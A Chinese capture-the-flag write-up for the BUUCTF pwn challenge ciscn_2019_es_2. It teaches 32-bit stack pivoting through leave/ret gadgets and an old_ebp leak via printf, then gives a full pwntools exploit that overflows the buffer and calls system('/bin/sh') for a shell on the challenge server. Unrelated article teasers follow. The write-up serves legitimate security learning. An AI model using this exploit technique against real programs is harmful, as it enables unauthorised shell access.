BUUCTF刷题之路--ciscn_2019_es_21

这题考察的是一个栈迁移的知识。作为入门学习栈迁移是个不可多得的好题。程序简单并且是32位的架构。保护也没有开,因此对于理解栈迁移再好不过了。看一下这题的基本信息:


栈迁移的基本原理其实就是栈的空间不够我们利用。也就是不不足以覆盖返回地址,更加不可能构造rop。因此需要迁移到空间足够大的地方去构造rop。因此我们需要能够控制ebp(64位rbp)。在汇编中,leave这个汇编指令就成为了我们的利用目标。当执行leave的时候计算机会执行两个步骤:

1.mov esp,ebp

2.pop ebp

还有就是ret指令,它将会执行如下操作:

1.pop eip

这两个指令配合着使用,能做到控制执行流并完成栈迁移。下面我们来看下IDA中的程序执行流程:


主函数会去调用vul()函数,vul函数的伪代码如下:


我们看到程序中会有一个数组s,大小是40个字节。memset函数是将s数组开始的0x20大小的空间填充成0。接着就是用户输入,大小是0x30。我们可以看到s数组在ebp-0x28的位置,但是我们最高只能输入0x30。因此我们连返回地址(ebp+4)的位置我们都够不着。更别说构造rop了。因此我们自然而然的能联想到栈迁移。我们还发现程序中有个类似后门的函数:


但是参数是错误的。并不能用。(我个人感觉这个后门是用来迷惑人的)现在我们纯手工去调试下源程序:


这里调用了第一个read函数,我输入了10个a。我们观察下栈的布局:


我们看到数组s的起始位置是ecx的值传递的。ebp中的值是一个栈上的值(old_ebp),这个值对于我们栈迁移是有用的。因此我们需要将他泄露出来。 Printf函数就是我们的利用点。他输出的时候会去找\0。如果没找到就一直输出。因此我们可以把栈上填满,然后在Printf的时候,不仅会把我们写的内容打印出来还会把栈上的东西也给打印出来:


我们可以看到在B后面连带着栈上的内容给输出了。因此我们只需要接收我们需要的部分:


讲解完如何泄露这个old_ebp。我们需要明白这个值是干嘛用的。因此再次进入调试中:


程序中,这个数组s会被用到两次(2次read函数)。也就是说这个栈空间会被再次利用。既然第一次利用空间不够,那么我们何不把这个栈扩大也就是用整一个s数组的空间来构造rop呢。画个图来解释下这个思想:




我们看到第二次我们已经将写好的payload布局在栈上了。我们泄露的地址的作用是用来诱导esp指向我们的数组s开始的位置。调试一下就会看的很清晰:


当程序走到leave的时候,我们观察此时的栈布局:


此时执行leave,这个时候ebp将会在esp的上面:


此时我们还需要一个leave,和ret的组合让栈恢复成正常的样子,因此此时esp指向的就是我们填入的0x80484b8(指向leave,ret的组合)继续跟下去:


再次执行leave:


我们看到此时esp已经指向了我们的system地址了。接着执行ret就会劫持执行流。下面的是system的参数,因为我们不能直接调用bin/sh字符串,因此我们布局的时候,需要传地址。因此才会如此布局。整个栈迁移的过程就完成了。下面是exp:

from pwn import *context.arch = 'i386'
#context.log_level = 'debug'#io=process("./ciscn_2019_es_2")io=remote('node4.buuoj.cn',28832)#gdb.attach(io)
payload1 = b'A' * (0x27) + b'B'io.send(payload1)io.recvuntil("B")old_ebp = u32(io.recv(4))
print(hex(old_ebp))#pause()system_addr = 0x08048400
leave_ret = 0x080484b8payload2 = b'aaaa' 
payload2 += p32(system_addr)
payload2 += b'bbbb'
payload2 += p32(old_ebp - 0x28)
payload2 += b'/bin/sh\x00'
payload2 = payload2.ljust(0x28, b'p')payload2 += p32(old_ebp - 0x38) 
payload2 += p32(leave_ret) io.sendline(payload2)#pause()io.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/221977.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Linux 网络通信

(一)套接字Socket概念 Socket 中文意思是“插座”,在 Linux 环境下,用于表示进程 x 间网络通信的特殊文件 类型。本质为内核借助缓冲区形成的伪文件。 既然是文件,那么理所当然的,我们可以使用文件描述符引用套接字。Linux 系统…

【视觉SLAM十四讲学习笔记】第三讲——旋转向量和欧拉角

专栏系列文章如下: 【视觉SLAM十四讲学习笔记】第一讲——SLAM介绍 【视觉SLAM十四讲学习笔记】第二讲——初识SLAM 【视觉SLAM十四讲学习笔记】第三讲——旋转矩阵 【视觉SLAM十四讲学习笔记】第三讲——Eigen库 本章将介绍视觉SLAM的基本问题之一:如何…

物理层之奈氏准则和香农定理

学习的最大理由是想摆脱平庸,早一天就多一份人生的精彩;迟一天就多一天平庸的困扰。各位小伙伴,如果您: 想系统/深入学习某技术知识点… 一个人摸索学习很难坚持,想组团高效学习… 想写博客但无从下手,急需…

springboot核心原理之@SpringbootApplication

1.SpringbootApplication Configuration标志的类 在spring ioc启动的时候就会加载创建这个类对象 EnableAutoConfiguration 中有两个注解 (1)AutoConfigurationPackage 扫描主程序包(主程序main所在包及其子包) 可以看到这个类 : static c…

React中通过children prop或者React.memo来优化子组件渲染【react性能优化】

文章目录 前言未优化之前的代码问题解决方案一,通过children prop解决方案二,通过React.memo后言 前言 hello world欢迎来到前端的新世界 😜当前文章系列专栏:react.js 🐱‍👓博主在前端领域还有很多知识和…

探索RockPlus SECS/GEM平台 - 赋能半导体行业设备互联

SECS/GEM协议,全称为半导体设备通讯标准/通用设备模型(SECS/Generic Equipment Model),是一种广泛应用于半导体制造行业的通信协议。它定义了半导体设备与工厂主控系统(如MES)之间的通信方式,使…

ZYNQ PL 中断请求

1 中断概念 中断学习 2 ZYNQ 中断框图 上图为 zynq 中断分布框图。可以看到部分 PL 到 PS 部分的中断,经过中断控制分配器(ICD), 同时进入 CPU1 和 CPU0。查询下面表格,可以看到 PL 到 PS 部分一共有 20 个中断可以使…

长沙市中小学入学报名流程及上传证件照电子版制作方法

长沙市中小学入学报名是家长和学生迈向教育之门的第一步。通常,报名过程分为线上和线下两个阶段。首先,家长需在规定时间内登录报名系统,填写详细的入学信息等。长沙市注重教育公平,为确保每个孩子都有平等的入学机会,…

NX二次开发UF_CURVE_ask_parameterization 函数介绍

文章作者:里海 来源网站:https://blog.csdn.net/WangPaiFeiXingYuan UF_CURVE_ask_parameterization Defined in: uf_curve.h int UF_CURVE_ask_parameterization(tag_t object, double param_range [ 2 ] , int * periodicity ) overview 概述 Retu…

饮料行业用什么ERP软件好

食品饮料产品的安全问题是近些年备受消费者和企业关注的问题,而不同的食品又有差异化的配方、原材料、制造工序和销售渠道与策略等。 近些年饮料企业数量不断增多,由此也导致饮料行业竞争比较激烈,传统的管理模式难以满足现代饮料市场管理需…

解密Spring Cloud微服务调用:如何轻松获取请求目标方的IP和端口

公众号「架构成长指南」,专注于生产实践、云原生、分布式系统、大数据技术分享。 目的 Spring Cloud 线上微服务实例都是2个起步,如果出问题后,在没有ELK等日志分析平台,如何确定调用到了目标服务的那个实例,以此来排…

【开源】基于JAVA的天然气工程运维系统

项目编号: S 022 ,文末获取源码。 \color{red}{项目编号:S022,文末获取源码。} 项目编号:S022,文末获取源码。 目录 一、摘要1.1 项目介绍1.2 项目录屏 二、功能模块2.1 系统角色分类2.2 核心功能2.2.1 流程…